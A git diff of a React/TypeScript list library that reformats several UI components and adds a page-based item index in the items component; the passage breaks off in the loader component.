- ); - }, -); +import { memo, useCallback, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; +import type { ReactListAttrSettings, ReactListAttribute } from "../types"; +import type { ChangeEvent, ReactNode } from "react"; + +type ReactListAttributesUpdateAttr = ( + attrName: string, + settingKey: string, + value: unknown, +) => void; + +type ReactListAttributesScope = { + attrs: ReactListAttribute[]; + attrSettings: ReactListAttrSettings; + updateAttr: ReactListAttributesUpdateAttr; +}; + +type ReactListAttributesRenderAttributeArgs = { + key: string; + attr: ReactListAttribute; + updateAttr: ReactListAttributesUpdateAttr; + attrSettings: ReactListAttrSettings; +}; + +type ReactListAttributesProps = { + children?: ReactNode | ((scope: ReactListAttributesScope) => ReactNode); + renderAttribute?: (args: ReactListAttributesRenderAttributeArgs) => ReactNode; +}; + +export const ReactListAttributes = memo( + ({ children, renderAttribute }: ReactListAttributesProps) => { + const { listState } = useListContext(); + const { attrs, attrSettings, updateAttr } = listState; + + const handleAttrChange = useCallback( + (attrName: string) => (e: ChangeEvent) => { + updateAttr(attrName, "visible", e.target.checked); + }, + [updateAttr], + ); + + const scope = useMemo( + () => ({ + attrs, + attrSettings, + updateAttr, + }), + [attrs, attrSettings, updateAttr], + ); + + if (typeof children === "function") { + return children(scope); + } + + if (children) return children; + + return ( +
+ {attrs.map((attr, index) => { + if (renderAttribute) { + return ( + + {renderAttribute({ + key: `attr-${index}`, + attr, + updateAttr, + attrSettings, + })} + + ); + } + + return ( + + ); + })} +
+ ); + }, +); diff --git a/packages/react-list/src/components/empty.tsx b/packages/react-list/src/components/empty.tsx index c97be07..93765b2 100644 --- a/packages/react-list/src/components/empty.tsx +++ b/packages/react-list/src/components/empty.tsx @@ -1,26 +1,26 @@ -import { memo } from "react"; -import { useListContext } from "../context/list-provider"; - -type ReactListEmptyProps = { - children?: React.ReactNode; -}; - -export const ReactListEmpty = memo(({ children }: ReactListEmptyProps) => { - const { listState } = useListContext(); - const { data: items, loader, error } = listState; - const { isLoading, initialLoading } = loader; - - if (items?.length > 0 || initialLoading || isLoading || error) { - return null; - } - - return ( -
- {children || ( -
-

No data found!

-
- )} -
- ); -}); +import { memo } from "react"; +import { useListContext } from "../context/list-provider"; + +type ReactListEmptyProps = { + children?: React.ReactNode; +}; + +export const ReactListEmpty = memo(({ children }: ReactListEmptyProps) => { + const { listState } = useListContext(); + const { data: items, loader, error } = listState; + const { isLoading, initialLoading } = loader; + + if (items?.length > 0 || initialLoading || isLoading || error) { + return null; + } + + return ( +
+ {children || ( +
+

No data found!

+
+ )} +
+ ); +}); diff --git a/packages/react-list/src/components/error.tsx b/packages/react-list/src/components/error.tsx index 476b5d0..558ff77 100644 --- a/packages/react-list/src/components/error.tsx +++ b/packages/react-list/src/components/error.tsx @@ -1,34 +1,34 @@ -import { memo } from "react"; -import type { ReactNode } from "react"; -import { useListContext } from "../context/list-provider"; - -type ReactListErrorProps = { - children?: - | ReactNode - | ((scope: { error: Error }) => ReactNode); -}; - -export const ReactListError = memo(({ children }: ReactListErrorProps) => { - const { listState } = useListContext(); - const { error, loader } = listState; - const { isLoading } = loader; - - if (!error || isLoading) { - return null; - } - - return ( -
- {typeof children === "function" - ? children({ error }) - : children || ( -
-

Error occurred

-
-                {error.name}: {error.message}
-              
-
- )} -
- ); -}); +import { memo } from "react"; +import type { ReactNode } from "react"; +import { useListContext } from "../context/list-provider"; + +type ReactListErrorProps = { + children?: + | ReactNode + | ((scope: { error: Error }) => ReactNode); +}; + +export const ReactListError = memo(({ children }: ReactListErrorProps) => { + const { listState } = useListContext(); + const { error, loader } = listState; + const { isLoading } = loader; + + if (!error || isLoading) { + return null; + } + + return ( +
+ {typeof children === "function" + ? children({ error }) + : children || ( +
+

Error occurred

+
+                {error.name}: {error.message}
+              
+
+ )} +
+ ); +}); diff --git a/packages/react-list/src/components/go-to.tsx b/packages/react-list/src/components/go-to.tsx index a076d86..961dd3b 100644 --- a/packages/react-list/src/components/go-to.tsx +++ b/packages/react-list/src/components/go-to.tsx @@ -1,74 +1,74 @@ -import { memo, useCallback, useMemo } from "react"; -import type { ReactNode } from "react"; -import { useListContext } from "../context/list-provider"; - -type ReactListGoToScope = { - setPage: (page: number, addContext?: Record) => void; - page: number; - pages: number[]; - pagesCount: number; -}; - -type ReactListGoToProps = { - children?: - | ReactNode - | ((scope: ReactListGoToScope) => ReactNode); -}; - -export const ReactListGoTo = memo(({ children }: ReactListGoToProps) => { - const { listState } = useListContext(); - const { data, count, pagination, setPage, loader, error } = listState; - const { page, perPage } = pagination; - const { initialLoading, isLoading } = loader; - - const { pages, pagesCount } = useMemo(() => { - const pagesCount = Math.ceil(count / perPage); - const pages = Array.from({ length: pagesCount }, (_, i) => i + 1); - return { pages, pagesCount }; - }, [count, perPage]); - - const handlePageChange = useCallback( - (e) => { - setPage(Number(e.target.value)); - }, - [setPage] - ); - - const scope = useMemo( - () => ({ - setPage, - page, - pages, - pagesCount, - }), - [setPage, page, pages, pagesCount] - ); - - if (initialLoading) return null; - - if (!data || data.length === 0) { - return null; - } - - if (error) { - return null; - } - - return ( -
- {typeof children === "function" ? ( - children(scope) - ) : children ? ( - children - ) : ( - - )} -
- ); -}); +import { memo, useCallback, useMemo } from "react"; +import type { ReactNode } from "react"; +import { useListContext } from "../context/list-provider"; + +type ReactListGoToScope = { + setPage: (page: number, addContext?: Record) => void; + page: number; + pages: number[]; + pagesCount: number; +}; + +type ReactListGoToProps = { + children?: + | ReactNode + | ((scope: ReactListGoToScope) => ReactNode); +}; + +export const ReactListGoTo = memo(({ children }: ReactListGoToProps) => { + const { listState } = useListContext(); + const { data, count, pagination, setPage, loader, error } = listState; + const { page, perPage } = pagination; + const { initialLoading, isLoading } = loader; + + const { pages, pagesCount } = useMemo(() => { + const pagesCount = Math.ceil(count / perPage); + const pages = Array.from({ length: pagesCount }, (_, i) => i + 1); + return { pages, pagesCount }; + }, [count, perPage]); + + const handlePageChange = useCallback( + (e) => { + setPage(Number(e.target.value)); + }, + [setPage] + ); + + const scope = useMemo( + () => ({ + setPage, + page, + pages, + pagesCount, + }), + [setPage, page, pages, pagesCount] + ); + + if (initialLoading) return null; + + if (!data || data.length === 0) { + return null; + } + + if (error) { + return null; + } + + return ( +
+ {typeof children === "function" ? ( + children(scope) + ) : children ? ( + children + ) : ( + + )} +
+ ); +}); diff --git a/packages/react-list/src/components/initial-loader.tsx b/packages/react-list/src/components/initial-loader.tsx index 30f858e..49baab6 100644 --- a/packages/react-list/src/components/initial-loader.tsx +++ b/packages/react-list/src/components/initial-loader.tsx @@ -1,40 +1,40 @@ -import { memo, useMemo } from "react"; -import type { ReactNode } from "react"; -import { useListContext } from "../context/list-provider"; - -type ReactListInitialLoaderScope = { - loading: boolean; -}; - -type ReactListInitialLoaderProps = { - children?: ReactNode | ((scope: ReactListInitialLoaderScope) => ReactNode); -}; - -export const ReactListInitialLoader = memo( - ({ children }: ReactListInitialLoaderProps) => { - const { listState } = useListContext(); - const { loader } = listState; - const { initialLoading } = loader; - - const scope = useMemo( - () => ({ - loading: initialLoading, - }), - [initialLoading] - ); - - if (!initialLoading) { - return null; - } - - return ( -
- {typeof children === "function" ? ( - children(scope) - ) : ( - children ||

Initial Loading...

- )} -
- ); -} -); +import { memo, useMemo } from "react"; +import type { ReactNode } from "react"; +import { useListContext } from "../context/list-provider"; + +type ReactListInitialLoaderScope = { + loading: boolean; +}; + +type ReactListInitialLoaderProps = { + children?: ReactNode | ((scope: ReactListInitialLoaderScope) => ReactNode); +}; + +export const ReactListInitialLoader = memo( + ({ children }: ReactListInitialLoaderProps) => { + const { listState } = useListContext(); + const { loader } = listState; + const { initialLoading } = loader; + + const scope = useMemo( + () => ({ + loading: initialLoading, + }), + [initialLoading] + ); + + if (!initialLoading) { + return null; + } + + return ( +
+ {typeof children === "function" ? ( + children(scope) + ) : ( + children ||

Initial Loading...

+ )} +
+ ); +} +); diff --git a/packages/react-list/src/components/items.tsx b/packages/react-list/src/components/items.tsx index 26387fd..5801218 100644 --- a/packages/react-list/src/components/items.tsx +++ b/packages/react-list/src/components/items.tsx @@ -1,72 +1,89 @@ -import { memo, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; - -import type { ReactNode } from "react"; - -import type { - ReactListItem, - ReactListSort, - ReactListSortOrder, -} from "../types"; - -type ReactListItemsScope = { - items: ReactListItem[]; - isLoading: boolean; - setSort: (args: { by: string; order: ReactListSortOrder }) => void; - sort: ReactListSort; -}; - -type ReactListItemsProps = { - children?: - | ReactNode - | ((scope: ReactListItemsScope) => ReactNode); - renderItem?: (args: { item: ReactListItem; index: number }) => ReactNode; -}; - -export const ReactListItems = memo(({ children, renderItem }: ReactListItemsProps) => { - const { listState } = useListContext(); - const { data: items = [], loader, error, setSort, sort } = listState; - const { initialLoading, isLoading } = loader; - - const scope = useMemo( - () => ({ - items, - isLoading, - setSort, - sort, - }), - [items, sort, setSort, isLoading] - ); - - if (initialLoading) return null; - - if (!items || items.length === 0) { - return null; - } - - if (error) { - return null; - } - - if (renderItem) { - return ( -
- {items.map((item, index) => ( -
{renderItem({ item, index })}
- ))} -
- ); - } - - if (typeof children === "function") { - return
{children(scope)}
; - } - - return ( -
- {items.map((item, index) => ( -
{JSON.stringify(item, null, 2)}
- ))} -
- ); -}); +import { memo, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; + +import type { ReactNode } from "react"; + +import type { + ReactListItem, + ReactListSort, + ReactListSortOrder, +} from "../types"; + +type ReactListItemsScope = { + items: ReactListItem[]; + isLoading: boolean; + setSort: (args: { by: string; order: ReactListSortOrder }) => void; + sort: ReactListSort; +}; + +type ReactListItemsProps = { + children?: ReactNode | ((scope: ReactListItemsScope) => ReactNode); + renderItem?: (args: { item: ReactListItem; index: number }) => ReactNode; +}; + +export const ReactListItems = memo( + ({ children, renderItem }: ReactListItemsProps) => { + const { listState } = useListContext(); + const { + data: items = [], + loader, + error, + setSort, + sort, + pagination, + } = listState; + const { initialLoading, isLoading } = loader; + const { page, perPage } = pagination; + + const serializedItems = useMemo(() => { + return items.map((item, index) => { + return { + ...item, + _index: (page - 1) * perPage + index + 1, + }; + }); + }, [items, page, perPage]); + + const scope = useMemo( + () => ({ + items: serializedItems, + isLoading, + setSort, + sort, + }), + [items, sort, setSort, isLoading, serializedItems], + ); + + if (initialLoading) return null; + + if (!items || items.length === 0) { + return null; + } + + if (error) { + return null; + } + + if (renderItem) { + return ( +
+ {items.map((item, index) => ( +
{renderItem({ item, index })}
+ ))} +
+ ); + } + + if (typeof children === "function") { + return
{children(scope)}
; + } + + return ( +
+ {items.map((item, index) => ( +
{JSON.stringify(item, null, 2)}
+ ))} +
+ ); + }, +); diff --git a/packages/react-list/src/components/list.tsx b/packages/react-list/src/components/list.tsx index 368963e..323231a 100644 --- a/packages/react-list/src/components/list.tsx +++ b/packages/react-list/src/components/list.tsx @@ -1,433 +1,433 @@ -import { useCallback, useEffect, useMemo, useRef, useState } from "react"; -import type { ReactNode } from "react"; -import { useListContext } from "../context/list-provider"; -import { hasActiveFilters } from "./utils"; -import { isEqual } from "../utils"; -import type { - ReactListAttrSettings, - ReactListFilters, - ReactListItem, - ReactListItemId, - ReactListListState, - ReactListProps, - ReactListResponse, - ReactListSortOrder, -} from "../types"; - -/** - * ReactList component for handling data fetching, pagination, and state management - */ -const ReactList = ({ - initialItems = [], - children, - endpoint, - page = 1, - perPage = 25, - sortBy = "", - sortOrder = "desc", - count = 0, - search = "", - filters = {}, - attrs, - version = 1, - paginationMode = "pagination", - meta = {}, - onResponse, - afterPageChange, - afterLoadMore, -}: ReactListProps) => { - const { requestHandler, setListState, stateManager } = useListContext(); - - const initRef = useRef(false); - - const isLoadMore = paginationMode === "loadMore"; - - type ReactListInternalState = { - page: number; - perPage: number; - sortBy: string; - sortOrder: ReactListSortOrder; - search: string; - filters: ReactListFilters; - attrSettings: ReactListAttrSettings; - items: ReactListItem[]; - selection: ReactListItemId[]; - error: Error | null; - response: ReactListResponse | null; - count: number; - isLoading: boolean; - initializingState: boolean; - confirmedPage: number | null; - }; - - const getContext = useCallback( - (currentState?: Partial | null) => { - return { - endpoint, - version, - meta, - search: currentState?.search || search, - page: currentState?.page || page, - perPage: currentState?.perPage || perPage, - sortBy: currentState?.sortBy || sortBy, - sortOrder: currentState?.sortOrder || sortOrder, - filters: currentState?.filters || filters, - attrSettings: currentState?.attrSettings || {}, - isRefresh: false, - }; - }, - [ - endpoint, - version, - meta, - search, - page, - perPage, - sortBy, - sortOrder, - filters, - ], - ); - - const getSavedState = useCallback(() => { - try { - const context = getContext(); - const oldState = stateManager?.get?.(context); - - return { - page: oldState?.page, - perPage: oldState?.perPage, - sortBy: oldState?.sortBy, - sortOrder: oldState?.sortOrder, - search: oldState?.search, - attrSettings: oldState?.attrSettings, - filters: oldState?.filters, - }; - } catch (err) { - console.error(err); - return {}; - } - }, [getContext, stateManager]); - - const initializeState = useCallback(() => { - const savedState = getSavedState(); - - let initialPage = page; - if (isLoadMore) { - initialPage = 1; - } else if (savedState.page != null) { - initialPage = savedState.page; - } - - return { - page: initialPage, - perPage: savedState.perPage != null ? savedState.perPage : perPage, - sortBy: savedState.sortBy != null ? savedState.sortBy : sortBy, - sortOrder: - savedState.sortOrder != null ? savedState.sortOrder : sortOrder, - search: savedState.search != null ? savedState.search : search, - filters: savedState.filters != null ? savedState.filters : filters, - attrSettings: savedState.attrSettings || {}, - items: initialItems, - selection: [], - error: null, - response: null, - count: 0, - isLoading: false, - initializingState: !initialItems.length, - confirmedPage: null, - }; - }, [ - getSavedState, - search, - page, - perPage, - sortBy, - sortOrder, - search, - filters, - isLoadMore, - ]); - - // Initialize state with default values - const [state, setState] = useState(initializeState); - - const updateStateManager = useCallback( - (stateToSave: ReactListInternalState) => { - if (stateManager) { - const context = getContext(stateToSave); - stateManager?.set?.(context); - } - }, - [stateManager, getContext], - ); - - /** - * Fetch data from the API - * @param {Object} addContext - Additional context to pass to the request handler - * @param {Object} newState - New state to use for the request - */ - const fetchData = useCallback( - async ( - addContext: Record = {}, - newState: ReactListInternalState | null = null, - ) => { - // Only set loading state if not initializing - if (!state.initializingState) { - setState((prev) => ({ ...prev, error: null, isLoading: true })); - } - - try { - const currentState = newState || state; - const previousItems = newState?.items ?? state.items; - const res = await requestHandler({ - endpoint, - version, - meta, - page: currentState.page, - perPage: currentState.perPage, - search: currentState.search, - sortBy: currentState.sortBy, - sortOrder: currentState.sortOrder, - filters: currentState.filters, - ...addContext, - }); - - if (onResponse) onResponse(res); - - let newItems; - - if (isLoadMore) { - newItems = - currentState.page === 1 - ? res.items - : [...previousItems, ...res.items]; - if (afterLoadMore) afterLoadMore(res); - } else { - newItems = res.items; - if (afterPageChange) afterPageChange(res); - } - - const updatedState = { - ...currentState, - response: res, - selection: [], - // Append items for loadMore, replace for pagination - items: - isLoadMore && currentState.page > 1 - ? [...previousItems, ...res.items] - : res.items, - count: res.count, - initializingState: false, - isLoading: false, - }; - - updateStateManager(updatedState); - - setState(updatedState); - } catch (err) { - setState((prev) => ({ - ...prev, - error: err, - items: [], - count: 0, - initializingState: false, - isLoading: false, - })); - throw err; - } - }, - [endpoint, version, isLoadMore, meta, requestHandler, state], - ); - - /** - * Handlers for various actions (pagination, sorting, filtering, etc.) - */ - const handlers = useMemo( - () => ({ - setPage: (value, addContext = {}) => { - const newState = { ...state, page: value }; - setState(newState); - if (newState.page) fetchData(addContext, newState); - }, - - setPerPage: (value) => { - const newState = { ...state, perPage: value, page: 1 }; - setState(newState); - fetchData({}, newState); - }, - - setSearch: (value) => { - // Only update if value changed to prevent unnecessary requests - if (value !== state.search) { - const newState = { ...state, search: value, page: 1 }; - setState(newState); - fetchData({}, newState); - } - }, - - setSort: ({ by, order }) => { - const newState = { ...state, sortBy: by, sortOrder: order, page: 1 }; - setState(newState); - fetchData({}, newState); - }, - - loadMore: () => { - const newState = { ...state, page: state.page + 1 }; - setState(newState); - fetchData({}, newState); - }, - - clearFilters: () => { - const newState = { ...state, filters: filters, page: 1 }; - setState(newState); - fetchData({}, newState); - }, - - refresh: (addContext = { isRefresh: true }) => { - if (isLoadMore) { - // For loadMore, reset to page 1 - const newState = { ...state, page: 1, items: [] }; - setState(newState); - fetchData(addContext, newState); - } else { - // For pagination, keep current page - fetchData(addContext); - } - }, - - setFilters: (filters) => { - const newState = { ...state, filters, page: 1 }; - setState(newState); - fetchData({}, newState); - }, - updateAttr: (attrName, settingKey, value) => { - const attrSettings = { - ...(state.attrSettings || {}), - [attrName]: { - ...(state.attrSettings?.[attrName] || {}), - [settingKey]: value, - }, - }; - - const newState = { ...state, attrSettings }; - setState(newState); - updateStateManager(newState); - }, - updateItemById: (item, id) => { - const newItems = state.items.map((i) => { - if (i.id === id) { - return { ...i, ...item }; - } - return i; - }); - setState((prev) => ({ ...prev, items: newItems })); - }, - setSelection: (selection) => setState((prev) => ({ ...prev, selection })), - }), - [fetchData, isLoadMore, state, updateStateManager], - ); - - /** - * Memoized state for context to prevent unnecessary re-renders - */ - const memoizedState = useMemo( - () => ({ - data: state.items, - response: state.response, - error: state.error, - count: state.count, - selection: state.selection, - pagination: { - page: state.page, - perPage: state.perPage, - hasMore: state.items.length < state.count, - }, - loader: { - isLoading: state.isLoading, - initialLoading: state.initializingState, - }, - sort: { sortBy: state.sortBy, sortOrder: state.sortOrder }, - hasActiveFilters: hasActiveFilters(state.filters, filters), - search: state.search, - filters: state.filters, - attrSettings: state.attrSettings || {}, - attrs: Array.isArray(attrs) - ? attrs.map((a) => (typeof a === "string" ? { name: a, label: a } : a)) - : Object.keys(state.items[0] || {}).map((key) => ({ - name: key, - label: key, - })), - isEmpty: state.items.length === 0, - ...handlers, - }), - [ - state.items, - state.response, - state.error, - state.count, - state.selection, - state.page, - state.perPage, - state.isLoading, - state.initializingState, - state.sortBy, - state.sortOrder, - state.search, - state.filters, - handlers, - attrs, - state.attrSettings, - ], - ); - - useEffect(() => { - if (!state.initializingState) { - return; - } - if (!initRef.current) { - initRef.current = true; - - // Initialize state manager - if (stateManager?.init) { - const context = getContext(state); - stateManager.init(context); - } - - if (!initialItems.length) handlers.setPage(state.page); - } - }, []); - - // Watch for changes in filters prop and update internal state - useEffect(() => { - // Skip on initial mount (handled by initializeState) - if (!initRef.current) return; - - // Only update if filters prop actually changed from internal state - if (!isEqual(filters, state.filters)) { - const newState = { ...state, filters, page: 1 }; - setState(newState); - fetchData({}, newState); - } - }, [filters]); - - // Update list state in context - useEffect(() => { - setListState(memoizedState); - }, [ - setListState, - state.items, - state.count, - state.error, - state.isLoading, - state.selection, - state.page, - state.perPage, - state.sortBy, - state.sortOrder, - ]); - - return typeof children === "function" ? children(memoizedState) : children; -}; - -export default ReactList; +import { useCallback, useEffect, useMemo, useRef, useState } from "react"; +import type { ReactNode } from "react"; +import { useListContext } from "../context/list-provider"; +import { hasActiveFilters } from "./utils"; +import { isEqual } from "../utils"; +import type { + ReactListAttrSettings, + ReactListFilters, + ReactListItem, + ReactListItemId, + ReactListListState, + ReactListProps, + ReactListResponse, + ReactListSortOrder, +} from "../types"; + +/** + * ReactList component for handling data fetching, pagination, and state management + */ +const ReactList = ({ + initialItems = [], + children, + endpoint, + page = 1, + perPage = 25, + sortBy = "", + sortOrder = "desc", + count = 0, + search = "", + filters = {}, + attrs, + version = 1, + paginationMode = "pagination", + meta = {}, + onResponse, + afterPageChange, + afterLoadMore, +}: ReactListProps) => { + const { requestHandler, setListState, stateManager } = useListContext(); + + const initRef = useRef(false); + + const isLoadMore = paginationMode === "loadMore"; + + type ReactListInternalState = { + page: number; + perPage: number; + sortBy: string; + sortOrder: ReactListSortOrder; + search: string; + filters: ReactListFilters; + attrSettings: ReactListAttrSettings; + items: ReactListItem[]; + selection: ReactListItemId[]; + error: Error | null; + response: ReactListResponse | null; + count: number; + isLoading: boolean; + initializingState: boolean; + confirmedPage: number | null; + }; + + const getContext = useCallback( + (currentState?: Partial | null) => { + return { + endpoint, + version, + meta, + search: currentState?.search || search, + page: currentState?.page || page, + perPage: currentState?.perPage || perPage, + sortBy: currentState?.sortBy || sortBy, + sortOrder: currentState?.sortOrder || sortOrder, + filters: currentState?.filters || filters, + attrSettings: currentState?.attrSettings || {}, + isRefresh: false, + }; + }, + [ + endpoint, + version, + meta, + search, + page, + perPage, + sortBy, + sortOrder, + filters, + ], + ); + + const getSavedState = useCallback(() => { + try { + const context = getContext(); + const oldState = stateManager?.get?.(context); + + return { + page: oldState?.page, + perPage: oldState?.perPage, + sortBy: oldState?.sortBy, + sortOrder: oldState?.sortOrder, + search: oldState?.search, + attrSettings: oldState?.attrSettings, + filters: oldState?.filters, + }; + } catch (err) { + console.error(err); + return {}; + } + }, [getContext, stateManager]); + + const initializeState = useCallback(() => { + const savedState = getSavedState(); + + let initialPage = page; + if (isLoadMore) { + initialPage = 1; + } else if (savedState.page != null) { + initialPage = savedState.page; + } + + return { + page: initialPage, + perPage: savedState.perPage != null ? savedState.perPage : perPage, + sortBy: savedState.sortBy != null ? savedState.sortBy : sortBy, + sortOrder: + savedState.sortOrder != null ? savedState.sortOrder : sortOrder, + search: savedState.search != null ? savedState.search : search, + filters: savedState.filters != null ? savedState.filters : filters, + attrSettings: savedState.attrSettings || {}, + items: initialItems, + selection: [], + error: null, + response: null, + count: 0, + isLoading: false, + initializingState: !initialItems.length, + confirmedPage: null, + }; + }, [ + getSavedState, + search, + page, + perPage, + sortBy, + sortOrder, + search, + filters, + isLoadMore, + ]); + + // Initialize state with default values + const [state, setState] = useState(initializeState); + + const updateStateManager = useCallback( + (stateToSave: ReactListInternalState) => { + if (stateManager) { + const context = getContext(stateToSave); + stateManager?.set?.(context); + } + }, + [stateManager, getContext], + ); + + /** + * Fetch data from the API + * @param {Object} addContext - Additional context to pass to the request handler + * @param {Object} newState - New state to use for the request + */ + const fetchData = useCallback( + async ( + addContext: Record = {}, + newState: ReactListInternalState | null = null, + ) => { + // Only set loading state if not initializing + if (!state.initializingState) { + setState((prev) => ({ ...prev, error: null, isLoading: true })); + } + + try { + const currentState = newState || state; + const previousItems = newState?.items ?? state.items; + const res = await requestHandler({ + endpoint, + version, + meta, + page: currentState.page, + perPage: currentState.perPage, + search: currentState.search, + sortBy: currentState.sortBy, + sortOrder: currentState.sortOrder, + filters: currentState.filters, + ...addContext, + }); + + if (onResponse) onResponse(res); + + let newItems; + + if (isLoadMore) { + newItems = + currentState.page === 1 + ? res.items + : [...previousItems, ...res.items]; + if (afterLoadMore) afterLoadMore(res); + } else { + newItems = res.items; + if (afterPageChange) afterPageChange(res); + } + + const updatedState = { + ...currentState, + response: res, + selection: [], + // Append items for loadMore, replace for pagination + items: + isLoadMore && currentState.page > 1 + ? [...previousItems, ...res.items] + : res.items, + count: res.count, + initializingState: false, + isLoading: false, + }; + + updateStateManager(updatedState); + + setState(updatedState); + } catch (err) { + setState((prev) => ({ + ...prev, + error: err, + items: [], + count: 0, + initializingState: false, + isLoading: false, + })); + throw err; + } + }, + [endpoint, version, isLoadMore, meta, requestHandler, state], + ); + + /** + * Handlers for various actions (pagination, sorting, filtering, etc.) + */ + const handlers = useMemo( + () => ({ + setPage: (value, addContext = {}) => { + const newState = { ...state, page: value }; + setState(newState); + if (newState.page) fetchData(addContext, newState); + }, + + setPerPage: (value) => { + const newState = { ...state, perPage: value, page: 1 }; + setState(newState); + fetchData({}, newState); + }, + + setSearch: (value) => { + // Only update if value changed to prevent unnecessary requests + if (value !== state.search) { + const newState = { ...state, search: value, page: 1 }; + setState(newState); + fetchData({}, newState); + } + }, + + setSort: ({ by, order }) => { + const newState = { ...state, sortBy: by, sortOrder: order, page: 1 }; + setState(newState); + fetchData({}, newState); + }, + + loadMore: () => { + const newState = { ...state, page: state.page + 1 }; + setState(newState); + fetchData({}, newState); + }, + + clearFilters: () => { + const newState = { ...state, filters: filters, page: 1 }; + setState(newState); + fetchData({}, newState); + }, + + refresh: (addContext = { isRefresh: true }) => { + if (isLoadMore) { + // For loadMore, reset to page 1 + const newState = { ...state, page: 1, items: [] }; + setState(newState); + fetchData(addContext, newState); + } else { + // For pagination, keep current page + fetchData(addContext); + } + }, + + setFilters: (filters) => { + const newState = { ...state, filters, page: 1 }; + setState(newState); + fetchData({}, newState); + }, + updateAttr: (attrName, settingKey, value) => { + const attrSettings = { + ...(state.attrSettings || {}), + [attrName]: { + ...(state.attrSettings?.[attrName] || {}), + [settingKey]: value, + }, + }; + + const newState = { ...state, attrSettings }; + setState(newState); + updateStateManager(newState); + }, + updateItemById: (item, id) => { + const newItems = state.items.map((i) => { + if (i.id === id) { + return { ...i, ...item }; + } + return i; + }); + setState((prev) => ({ ...prev, items: newItems })); + }, + setSelection: (selection) => setState((prev) => ({ ...prev, selection })), + }), + [fetchData, isLoadMore, state, updateStateManager], + ); + + /** + * Memoized state for context to prevent unnecessary re-renders + */ + const memoizedState = useMemo( + () => ({ + data: state.items, + response: state.response, + error: state.error, + count: state.count, + selection: state.selection, + pagination: { + page: state.page, + perPage: state.perPage, + hasMore: state.items.length < state.count, + }, + loader: { + isLoading: state.isLoading, + initialLoading: state.initializingState, + }, + sort: { sortBy: state.sortBy, sortOrder: state.sortOrder }, + hasActiveFilters: hasActiveFilters(state.filters, filters), + search: state.search, + filters: state.filters, + attrSettings: state.attrSettings || {}, + attrs: Array.isArray(attrs) + ? attrs.map((a) => (typeof a === "string" ? { name: a, label: a } : a)) + : Object.keys(state.items[0] || {}).map((key) => ({ + name: key, + label: key, + })), + isEmpty: state.items.length === 0, + ...handlers, + }), + [ + state.items, + state.response, + state.error, + state.count, + state.selection, + state.page, + state.perPage, + state.isLoading, + state.initializingState, + state.sortBy, + state.sortOrder, + state.search, + state.filters, + handlers, + attrs, + state.attrSettings, + ], + ); + + useEffect(() => { + if (!state.initializingState) { + return; + } + if (!initRef.current) { + initRef.current = true; + + // Initialize state manager + if (stateManager?.init) { + const context = getContext(state); + stateManager.init(context); + } + + if (!initialItems.length) handlers.setPage(state.page); + } + }, []); + + // Watch for changes in filters prop and update internal state + useEffect(() => { + // Skip on initial mount (handled by initializeState) + if (!initRef.current) return; + + // Only update if filters prop actually changed from internal state + if (!isEqual(filters, state.filters)) { + const newState = { ...state, filters, page: 1 }; + setState(newState); + fetchData({}, newState); + } + }, [filters]); + + // Update list state in context + useEffect(() => { + setListState(memoizedState); + }, [ + setListState, + state.items, + state.count, + state.error, + state.isLoading, + state.selection, + state.page, + state.perPage, + state.sortBy, + state.sortOrder, + ]); + + return typeof children === "function" ? children(memoizedState) : children; +}; + +export default ReactList; diff --git a/packages/react-list/src/components/load-more.tsx b/packages/react-list/src/components/load-more.tsx index 015d4d5..8d2d546 100644 --- a/packages/react-list/src/components/load-more.tsx +++ b/packages/react-list/src/components/load-more.tsx @@ -1,51 +1,51 @@ -import { memo, useCallback, useMemo } from "react"; -import { useListContext } from "../context/list-provider"; - -import type { ReactNode } from "react"; - -type ReactListLoadMoreScope = { - isLoading: boolean; - loadMore: () => void; - hasMoreItems: boolean; -}; - -type ReactListLoadMoreProps = { - children: (scope: ReactListLoadMoreScope) => ReactNode; -}; - -export const ReactListLoadMore = memo(({ children }: ReactListLoadMoreProps) => { - const { listState } = useListContext(); - const { data, count, pagination, setPage, loader, error } = listState; - const { page, perPage } = pagination; - const { isLoading } = loader; - - const hasMoreItems = useMemo( - () => page * perPage < count, - [page, perPage, count] - ); - - const loadMore = useCallback(() => { - if (hasMoreItems && !isLoading) { - setPage(page + 1); - } - }, [hasMoreItems, isLoading, setPage, page]); - - const scope = useMemo( - () => ({ - isLoading, - loadMore, - hasMoreItems, - }), - [isLoading, loadMore, hasMoreItems] - ); - - if (!data || data.length === 0) { - return null; - } - - if (error) { - return null; - } - - return children(scope); -}); +import { memo, useCallback, useMemo } from "react"; +import { useListContext } from "../context/list-provider"; + +import type { ReactNode } from "react"; + +type ReactListLoadMoreScope = { + isLoading: boolean; + loadMore: () => void; + hasMoreItems: boolean; +}; + +type ReactListLoadMoreProps = { + children: (scope: ReactListLoadMoreScope) => ReactNode; +}; + +export const ReactListLoadMore = memo(({ children }: ReactListLoadMoreProps) => { + const { listState } = useListContext(); + const { data, count, pagination, setPage, loader, error } = listState; + const { page, perPage } = pagination; + const { isLoading } = loader; + + const hasMoreItems = useMemo( + () => page * perPage < count, + [page, perPage, count] + ); + + const loadMore = useCallback(() => { + if (hasMoreItems && !isLoading) { + setPage(page + 1); + } + }, [hasMoreItems, isLoading, setPage, page]); + + const scope = useMemo( + () => ({ + isLoading, + loadMore, + hasMoreItems, + }), + [isLoading, loadMore, hasMoreItems] + ); + + if (!data || data.length === 0) { + return null; + } + + if (error) { + return null; + } + + return children(scope); +}); diff --git a/packages/react-list/src/components/loader.tsx b/packages/react-list/src/components/loader.tsx index c2df263..49cd1c3 100644 --- a/packages/react-list/src/components/loader.tsx +++ b/packages/react-list/src/components/loader.tsx @@ -1,39 +1,39 @@ -import { memo, useMemo } from "react"; -import type { ReactNode } from "react"; -import { useListContext } from "../context/list-provider"; - -type ReactListLoaderScope = { - isLoading: boolean; -}; - -type ReactListLoaderProps = { - position?: string; - children?: ReactNode | ((scope: ReactListLoaderScope) => ReactNode); -}; - -export const ReactListLoader = memo( - ({ children, position = "overlay" }: ReactListLoaderProps) => { - const { listState } = useListContext(); - const { loader } = listState; - const { isLoading, initialLoading } = loader; - - const scope = useMemo(() => ({ isLoading }), [isLoading]); - - // Docs: do not show loader during the initial skeleton load. - if (initialLoading || !isLoading) return null; - - return ( -
- {typeof children === "function" ? ( - children(scope) - ) : ( - children || ( -
-

Loading...

-
- ) - )} -
